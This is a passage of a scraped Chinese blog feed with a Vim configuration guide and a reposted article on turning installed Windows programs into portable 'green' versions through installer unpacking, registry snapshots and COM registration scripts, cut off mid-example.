class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#34;这是注释,以英文双引号开头\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esyntax enable\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esyntax on\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset tabstop=4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset shiftwidth=4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset autoindent\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset smartindent\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset ignorecase\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset cindent\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset shiftround\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset encoding=utf-8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset number\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset ruler\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset hlsearch\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eset laststatus=2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026#34;set showmatch\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026#34;set cursorline\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehighlight StatusLine guifg=SlateBlue guibg=Yellow\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elet g:netrw_winsize=30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elet g:netrw_liststyle=1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elet g:netrw_timefmt=\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efiletype plugin on\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emap \u0026lt;F5\u0026gt; :call PRUN()\u0026lt;CR\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enmap \u0026lt;F6\u0026gt; :Sexplore!\u0026lt;CR\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einoremap \u0026lt;TAB\u0026gt; \u0026lt;C-R\u0026gt;=InsertTabWrapper()\u0026lt;CR\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efunc! PRUN()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e exec \u0026#34;w\u0026#34;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e if \u0026amp;filetype == \u0026#39;python\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e exec \u0026#34;!python %\u0026#34;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e elseif \u0026amp;filetype == \u0026#39;c\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e exec \u0026#34;!gcc % \u0026amp;\u0026amp; ./a.out \u0026amp;\u0026amp; rm ./a.out\u0026#34;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e endif\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eendfunc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efunc! InsertTabWrapper()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e let col=col(\u0026#39;.\u0026#39;)-1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e if !col || getline(\u0026#39;.\u0026#39;)[col-1] !~ \u0026#39;\\k\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return \u0026#34;\\\u0026lt;TAB\u0026gt;\u0026#34;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e else\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return \u0026#34;\\\u0026lt;C-N\u0026gt;\u0026#34;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e endif\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eendfunc\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eVim配置文件的路径在当前用户目录下,也就是\u003ccode\u003e/home/usrname/.vimrc\u003c/code\u003e,不同的用户都有各自的配置文件。\u003c/p\u003e\u003ch3 id=\"配置结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E9%85%8D%E7%BD%AE%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"配置结构\"\u003e\u003c/a\u003e配置结构\u003c/h3\u003e\u003cp\u003e前两行是开启代码高亮和语法分析。第一大块主要是和缩进有关,前四行都是缩进设置,后几行分别是搜索时忽略大小写,启用C语言语法缩进,\u003ccode\u003eshiftround\u003c/code\u003e是啥来着忘了(\u003c/p\u003e\u003cp\u003e下一个小块(只有一行)是设置编码为\u003ccode\u003eutf-8\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下一个大块基本是界面显示相关设置。第一行是开启行号显示,第二行没啥用给注释掉了,第三行是显示当前光标在第几行第几列,第四行是高亮被搜索的关键字,下一行是在当前行显示下划线,用不上所以我注释掉了。下一行是显示编辑状态栏,再下一行是设置状态栏样式。\u003c/p\u003e\u003cp\u003e下一大块是设置自带的树状图文件浏览器的。\u003c/p\u003e\u003cp\u003e后面的一堆xxmap是配置按键事件/映射的。\u003c/p\u003e\u003cp\u003e后面那一堆func是各种函数,能够实现一些简单的功能,比如TAB补全,F5代码运行。\u003c/p\u003e\u003cp\u003e综上,可以看出,vim配置文件\u003ccode\u003e.vimrc\u003c/code\u003e的结构大致==可以分为5个部分==,分别是\u003c/p\u003e\u003cul\u003e\u003cli\u003e编辑器一般设置。包括格式,高亮,vim外观等\u003c/li\u003e\u003cli\u003e常量设置。通过预设一些常量来更改vim行为\u003c/li\u003e\u003cli\u003e插件设置。\u003c/li\u003e\u003cli\u003e按键映射绑定。更改/添加按键功能\u003c/li\u003e\u003cli\u003e函数。给编辑器添加自定义的功能\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通过更改配置文件,我们可以十分简便地更改vim的外观,操作,代码高亮和补全等。并且可以非常轻松地迁移配置——复制\u003ccode\u003e.vimrc\u003c/code\u003e到新的地方即可。唯一的缺点是,你通常不知道都有什么可以更改的设置。在这一点上,\u003cstrong\u003e充分利用vim自带的帮助文档吧\u003c/strong\u003e:输入\u003ccode\u003e:help\u003c/code\u003e并回车即可查看。\u003c/p\u003e\u003ch3 id=\"常用配置\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E5%B8%B8%E7%94%A8%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"常用配置\"\u003e\u003c/a\u003e常用配置\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eset wrap/set nowrap\u003c/code\u003e 禁用换行\u003c/li\u003e\u003cli\u003e\u003ccode\u003eset number/set nonumber\u003c/code\u003e 启用/禁用行号\u003c/li\u003e\u003cli\u003e\u003ccode\u003eset ai/set noai\u003c/code\u003e 启用/禁用自动缩进,粘贴进代码自动缩进的话可以暂时关掉自动\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"0x04-常见问题\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#0x04-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"0x04.常见问题\"\u003e\u003c/a\u003e0x04.常见问题\u003c/h2\u003e\u003col\u003e\u003cli\u003eGVIM主界面乱码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e修改\u003ccode\u003eC:\\Program Files (x86)\\Vim\\vim80\\menu.vim\u003c/code\u003e文件,增加\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset encoding=utf-8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e改变字体大小\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e也是在上面的文件里,添加如下设置:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset guifont=Lucida\\ Console:h14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果没效果就把语句从文件末尾移到开头。\u003c/p\u003e\u003ch2 id=\"0x05-插件\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#0x05-%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"0x05.插件\"\u003e\u003c/a\u003e0x05.插件\u003c/h2\u003e\u003cp\u003e这个后面再说吧,反正前面的一套下来也差不多够用了\u003cdel\u003e除非你想拿Vim当IDE用\u003c/del\u003e\u003c/p\u003e\u003ch2 id=\"0x06-写在最后\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#0x06-%E5%86%99%E5%9C%A8%E6%9C%80%E5%90%8E\" class=\"headerlink\" title=\"0x06.写在最后\"\u003e\u003c/a\u003e0x06.写在最后\u003c/h2\u003e\u003cp\u003e编辑器之神的称号源于它编辑文本贼6,而不是能变身All in one IDE(虽然确实可以这么干),写大型项目还是建议直接一步到胃用VS/IDEA。Vim一般也就写写单文件程序/改改配置之类,以及适用于一切要求快速编辑的场合\u003cdel\u003e比如做笔记\u003c/del\u003e。\u003c/p\u003e\u003cp\u003eVim可以给你黑魔法,让你用令人目瞪口呆的速度写下你所想的东西,或者是更改需要更改的东西。最大限度地消除了编辑器和你的思想间的带宽限制之后,所剩下唯一的桎梏,就是——\u003c/p\u003e\u003cp\u003e你。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/"},{"title":"绿色软件制作方法","time":"2021-06-19T06:14:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e此文系转载,发布时间:2011-05-27 11:28:21\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e绿色软件的制作,简称软件的”绿化”,绿色软件的制作实际上就是我们自己完成安装程序的工作。没有什么固定的方法,基本上是猜测加上试验,不同类别的绿色软件分别有不同的制作策略。 拿到一个新的软件,想要制成绿色软件的话,我一般遵循如下步骤:\u003c/p\u003e\u003cp\u003e1 判断。就是指猜测这个软件能不能制成绿色软件,从功能,从你对它的了解,如果你觉得这个软件和系统的关系非常紧密,就不要继续下去了,还是用原始的安装程序最保险最方便,这样的例子有directx9 ,IE6,Norton的反病毒软件等等。这样的判断可以节省你的时间,当然你可以忽略这一步,尝试制作绿色软件,那么就转到第2步。\u003c/p\u003e\u003cp\u003e2”绿化”。对于不同的软件有不同的方法,没有一定的规则,但是总的来说,就是理解软件的安装过程,转换为绿色安装,在这个过程中,可能需要尝试多个方法,也可能最后由于软件的复杂性或者某些特性,导致无法绿化。要有失败的思想准备,具体的绿化方法随后讲述。\u003c/p\u003e\u003cp\u003e3 测试。”绿化”后的测试最好到你个全新安装的操作系统中测试,而且如果你要在多个操作系统中使用这个软件的话,还要在其他的操作系统中测试,有的软件的文件随着操作系统的不同而不同,这个时候你需要在不同的操作系统中进行”绿化”过程,最后综合为一个完整的适应多个操作平台的绿色软件。 “绿化”方法,需要根据经验选择不同的”绿化”方法,也可能需要不断尝试不同的方法,直到成功为止。按照先易后难的次序,具体的方法包括:\u003cbr/\u003e1 解压缩。这是最简单的一种方法,就是指尝试能不能直接解开软件的压缩包。用Winzip和Winrar试一试,看看能不能直接打开压缩的安装文件,如果不能打开,那么就换别的方法。如果可以,那么恭喜,这个软件多半是属于绿色安装的软件(有个别例外,如EmEditor),把压缩包中的文件直接解压到目标路径,然后测试软件的功能是否正常,如果功能正常,那么”绿化”就成功了,如果使用不正常,那么就换别的方法。这一类软件的特点是安装程序的工作完全可以由软件自身来完成。\u003cbr/\u003e2 安装然后卸载。也是比较容易的方法,完全是体力劳动,就是指直接安装这个软件,然后把程序复制出来,最后卸载安装程序。如果这个软件的安装程序的作用仅仅是复制文件和生成快捷键等工作,那么就属于绿色安装,可以使用这个方法。最后测试软件的功能是否正常,如果功能正常,那么”绿化”就成功了,如果使用不正常,那么就换别的方法。\u003cbr/\u003e3 反编译安装程序。这个方法需要动脑筋,就是根据安装程序所用的制作工具,选择相应的反编译程序,然后阅读反编译出的安装脚本,制作绿色软件。目前的软件大多使用专门的安装工具制作,如InstallShield,Wise,Inno Setup,Windows Installer,NSIS(Nullsoft),Installer VISE,其中Windows Installer格式的安装文件(就是MSI,MST为后缀的文件),可以通过微软的免费工具Orca打开查看,InstallShield格式的安装文件也有很多免费的工具可以解压缩和查看脚本。当然专门的安装工具很多,有许多安装程序没有相应的反编译程序,这种时候,就无法使用这个方法了。\u003cbr/\u003e4 观察反安装程序和log文件。现在的软件安装完成后绝大多数都带有卸载方法。卸载是安装的逆过程,如果知道怎么卸载,那么也可以推测出如何安装。由专门的安装工具制作的反安装程序,一般都是根据某一个文件中的信息来卸载的,可以用一个纯文本的编辑器打开这个文件。个别情况下这个文件完全不包含可读信息,就只好换用其他方法了。具体过程就是先采用方法2,然后理解反安装过程,最后根据反安装的信息制作绿色软件。\u003cbr/\u003e5 比较系统快照。当前面的方法都失败的时候,可以试一试这个方法。具体思路就是首先在安装软件之前,把系统的状态记录下来,主要包括注册表和系统目录的所有的文件状态。然后就是安装软件。安装完成后,再一次记录系统状态。最后就是比较前后两个系统状态的不同,而得知安装程序所做的工作。这个工作一般由专门的软件完成,如免费工具Regshot,免费工具inctrl5(\u003ca href=\"http://www.pcmag.com/article2/0,4149,9882,00.asp%EF%BC%89%EF%BC%8C%E5%BE%AE%E8%BD%AF%E5%85%AC%E5%8F%B8%E7%9A%84sysdiff%E5%B7%A5%E5%85%B7%EF%BC%88%E5%8F%AF%E4%BB%A5%E4%BB%8EWindows2000%E7%9A%84%E8%B5%84%E6%BA%90%E5%B7%A5%E5%85%B7%E7%AE%B1%E4%B8%AD%E5%BE%97%E5%88%B0%EF%BC%89%EF%BC%8C%E6%88%96%E8%80%85WinInstall\"\u003ehttp://www.pcmag.com/article2/0,4149,9882,00.asp),微软公司的sysdiff工具(可以从Windows2000的资源工具箱中得到),或者WinInstall\u003c/a\u003e LE(在Windows 2000 Sever 光盘的目录VALUEADD3RDPARTYMGMTWINSTLE中)。在多数时候,仅仅需要对比安装前后注册表的不同,这时候还有大量的注册表工具可以选用。在得出系统差异后,把差异分解为两个部分:文件部分和注册表部分。文件部分指的是向系统目录拷贝的文件,以及作为COM组件注册的文件,还有与这些文件相关的注册表部分。注册表部分单单指其余的注册表的变化。对于文件部分,可以进一步区分出必须要往系统目录拷贝的文件(这种情况是少数)和可以放在软件的安装目录的文件。对于注册表部分,区分出由这个软件的安装程序本身所作出的注册表操作和注册COM组件时候的注册表操作,抛弃其他程序(如资源管理器Explorer)的操作。根据所有这些,写一个拷贝文件,注册COM组件和导入注册表的批处理文件,就可以完成绿色软件的制作了。当注册表文件中含有路径信息的时候,可以手工修改注册表文件或者把注册表文件转化为INF文件从而实现全自动的路径处理。\u003cbr/\u003e6 直接导出注册表,寻找自注册的COM组件。这个方法是上面的方法5的简化版,现在软件的配置大多写在注册表中的”HKEY_LOCLAL_MACHINESOFTWARE软件公司名字”和”HKEY_CURRENT_USERSOFTWARE软件公司名字”这2个键下面,直接对把这2个注册表键导出到REG文件中。自注册的COM组件都需要导出如下4个函数:DllCanUnloadNow,DllGetClassObject,DllRegisterServer, DllUnregisterServer,可以用vc自带的depend.exe找出哪一个动态链接库是自注册的COM组件。最后写一个批处理文件用regsvr32.exe注册COM组件和用regedit.exe导入注册表。 通过上面分析安装程序的动作,把安装程序的工作分解为复制文件,注册COM组件,安装服务驱动,注册表配置等几个部分,虽然注册表配置可以覆盖注册COM组件,安装服务驱动等操作步骤,但是把这些明显分割出来有助于制作绿色安装的软件。对于需要更复杂的步骤来安装的软件,还是使用原来的安装程序比较保险。\u003c/p\u003e\u003cp\u003e例如:winrar3.30 和Winzip9.0,采用方法1,解压缩。这个方法非常简单,从天空软件站下载Winzip90.exe和winrar330sc.exe,在一个安装了Winrar的系统上,用鼠标右键选择下载的文件,运行右键菜单中的用Winrar打开的命令,然后把文件解压到我们的目标路径,如E:tools目录,就可以了。然后分别对Winzip9和Winrar进行设置就可以了。运行winzip9目录中的Winzip32.exe,进行winzip的设置。Winrar也是一样,运行Winrar.exe,打开菜单选项-〉设置,弹出一个对话框,选择标签–集成,如图WinrarSetting.png,逐项对Winrar设置。当拷贝到U盘而到新的机器上运行时,需要重复这些设置过程。 这一类软件的特点是安装程序的工作完全可以由软件自身来完成,从而完全抛开安装程序,或者说安装程序的工作也就是解压缩。类似的软件还有一些,最简单的测试办法就是看看Winrar能否直接打开压缩的安装程序。也可以采用方法2,过程基本上和方法1一样。 方法2就不具体说明了,仅仅指出有许多程序属于这个类别,如Myie2,GreenBrowser,qq,BPFTP Server,IDA_Pro_Standard_4.5.1.770,FinalData,EASYRECOVERY 6.03,腾逊公司的TM等等。\u003cbr/\u003eflashget是大家用得比较多的一个软件,可以多线程下载并且下载管理的功能也很方便,从天空软件站sky.com下载flashget1.60a国际版,运行一下,如图flashget_wise.PNG,然后取消安装。从图上可以看出flashget1.60a国际版是使用Wise制作的安装程序,从网上下载wungui程序,非常容易的把安装程序解压缩到一个目录中,如图flashget160a.PNG,观察Maindir目录,其中有两个DLL文件Jccatch.dll和fgiebar.dll,进一步察看这两个动态库文件的导出函数,可以知道这两个DLL文件都是自注册的COM组件,写一个批处理文件install.bat来注册这两个DLL: REGSVR32 JCCATCH.DLL /s REGSVR32 fgiebar.dll /s 经过测试,功能正常,并且可以从浏览器IE中用鼠标的右键菜单激活flashget,\u003cbr/\u003e功能完全,下面考虑卸载过程。\u003cbr/\u003e运行Regedit.exe,发现flashget在注册表中的路径是[HKEY_CURRENT_USERSoftwareJetCarJetCar],写一个注册表文件unflashget.reg删除这个路径,如下:\u003cbr/\u003eREGEDIT4 ; flashget [-HKEY_CURRENT_USERSoftwareJetCarJetCar] 同时写一个批处理文件uninstall.bat来卸载这两个DLL文件并导入unflashget.reg: Regedit unflashget.reg /s REGSVR32 JCCATCH.DLL /s /U REGSVR32 fgiebar.dll /s /U 随后就是删除一些我们用不到的文件,比如language目录的绝大多数欧洲的语言文件,这时候这个绿色版本就做好了。把制作好的绿色的flashget拷贝到U盘上,需要用的时候,直接执行里面的install.bat文件就可以了(注意,要在flashget的目录运行批处理文件),不需要任何文件拷贝。 我看到有人提到用优化大师提取falshget的注册表,然后直接导入注册表来制作绿色的flashget,这样做是不行的,从我前面的步骤来看,注册2个DLL文件必然在注册表中引入了绝对路径,那么如果直接提取注册表的话,就必须根据当前的路径来修改注册表中的路径,否则的话制作的绿色版的flashget只能在固定的目录运行。在制作flashget绿色版的时候,我同时使用了方法3和方法6,使用方法3的目的就是避免安装程序对系统作的修改,这样可以直接在当前系统进行测试,而不需要到另外一个没有安装过flashget的系统测试。 Emeditor是方法1的一个反例。Emeditor可以从开发商主页\u003ca href=\"http://www.emurasoft.com/%E4%B8%8B%E8%BD%BD%EF%BC%8C%E6%98%AF%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E5%A5%BD%E7%94%A8%E7%9A%84%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91%E5%99%A8%EF%BC%8C%E6%94%AF%E6%8C%81%E5%A4%9A%E7%A7%8D%E9%85%8D%E7%BD%AE%EF%BC%8C%E8%87%AA%E5%AE%9A%E4%B9%89%E9%A2%9C%E8%89%B2%E3%80%81%E5%AD%97%E4%BD%93%E3%80%81%E5%B7%A5%E5%85%B7%E6%A0%8F%E3%80%81%E5%BF%AB%E6%8D%B7%E9%94%AE%E8%AE%BE%E7%BD%AE%EF%BC%8C%E5%8F%AF%E4%BB%A5%E8%B0%83%E6%95%B4%E8%A1%8C%E8%B7%9D%EF%BC%8C%E9%81%BF%E5%85%8D%E4%B8%AD%E6%96%87%E6%8E%92%E5%88%97%E8%BF%87%E4%BA%8E%E7%B4%A7%E5%AF%86%EF%BC%8C%E5%85%B7%E6%9C%89%E9%80%89%E6%8B%A9%E6%96%87%E6%9C%AC%E5%88%97%E5%9D%97%E7%9A%84%E5%8A%9F%E8%83%BD(%E6%8C%89ALT\"\u003ehttp://www.emurasoft.com/下载,是一个简单好用的文本编辑器,支持多种配置,自定义颜色、字体、工具栏、快捷键设置,可以调整行距,避免中文排列过于紧密,具有选择文本列块的功能(按ALT\u003c/a\u003e 键拖动鼠标),并允许无限撤消、重做,总之功能多多,使用方便,是替代记事本的最佳编辑器。 下载emed404epx.exe后,发现用Winrar可以打开,解压后,运行Emeditor,发现丢失了预定义的多种文本格式的语法配置,看来这样做不行,只好采用方法5了。请随我一步步进行,步骤如下:\u003cbr/\u003e1 扫描系统,制订系统快照。这里我仅仅记录当前系统的注册表(因为我认为Emeditor不会向系统目录拷贝文件,如果判断错误,就会导致”绿化”失败),运行ART(Advanced Registery Tracer),扫描一遍注册表。如图emeditor_snap.PNG,不要关闭ART。\u003cbr/\u003e2 安装Emeditor。随便安装到哪里,反正一会就卸载。安装好后,如果需要的话,更改配置,或者配置新的文件类型,例如我就增加了NFO文件类型,设定和NFO文件相关联的字符集,这样可以用Emeditor直接察看NFO文件,不需要专门的察看工具了。\u003cbr/\u003e3 记录系统变化。再一次扫描系统,给系统作快照,从ART里面再一次扫描注册表,然后选择菜单命令Registry-〉compare here或者直接用键盘F10,比较结果如图emeditor_compare.png,点击图中那个save to redo file的按钮,存储为Emeditor.reg文件,关闭ART。\u003cbr/\u003e4 复制并卸载。复制安装好的Emeditor目录到其他路径,然后卸载Emeditor程序。\u003cbr/\u003e5 分析。打开刚刚导出的Emeditor.reg文件,这是一个巨大的reg文件,单单是REG文件就有1兆多,不过不用担心。阅读注册表后,删除和emeditor无关的注册表项后,如仅仅和资源管理器相关的注册表部分,发现剩下的注册表文件可以分成3个部分。一部分在位于注册表的这个路径[HKEY_LOCAL_MACHINESOFTWAREEmSoft],里面大部分不涉及路径,只有一项记录了Emeditor的路径,就是”ModulePath”=”h:EmEditor4”;还有一大部分在注册表的这个路径下面[HKEY_CURRENT_USERSoftwareEmSoftEmEditor v3],里面有很多项都涉及了Emeditor的路径,如”Tmpl”=”h:EmEditor4template.xml”;还有就是和Emeditor和txt文件后缀向关联的注册表设置,把Emeditor设置为IE中缺省的源代码察看工具的注册表设置以及注册COM组件EMEDSHL.DLL的注册表部分(和InProcServer32相关的就是)。\u003cbr/\u003e6 “绿化”。\u003cbr/\u003e6.1 把位于注册表路径路径[HKEY_LOCAL_MACHINESOFTWAREEmSoft]的内容存储到emeditor_HKLM.reg文件中,把位于注册表路径[HKEY_CURRENT_USERSoftwareEmSoftEmEditor v3]的内容存储到emeditor_HKCU.reg文件中,把剩下的内容首先除掉COM组件EMEDSHL.DLL的相关部分,然后存储到emeditor_assoc.reg文件中。\u003cbr/\u003e6.2 把emeditor_HKLM.reg文件和emeditor_HKCU.reg文件中涉及到路径的注册表内容抽取出来,存储到emeditorConf.reg文件。\u003cbr/\u003e6.3 把emeditor_assoc.reg文件和emeditorConf.reg文件用INF的语法转换为INF文件,或者用一个免费小工具reg2inf.exe自动转换,然后把转换得到的emeditor_assoc.inf文件和emeditorConf.inf文件中的路径h:EmEditor4全部用%01%代替。下面是emeditorConf.inf文件的内容:\u003cbr/\u003e[Version] Signature=”CHICAGO”\u003cbr/\u003e[DefaultInstall] AddReg=EmeditorConf_AddReg\u003c/p\u003e\u003cp\u003ehklm,”SOFTWAREEmSoftEmEditor v3Common”,”ModulePath”,,”%01%”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigC++”,”Tmpl”,,”%01%template.cpp”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigCSS”,”Tmpl”,,”%01%template.css”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigHTML”,”Tmpl”,,”%01%template.htm”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor v3ConfigJava”,”Tmpl”,,”%01%template.java”\u003cbr/\u003ehkcu,”SoftwareEmSoftEmEditor 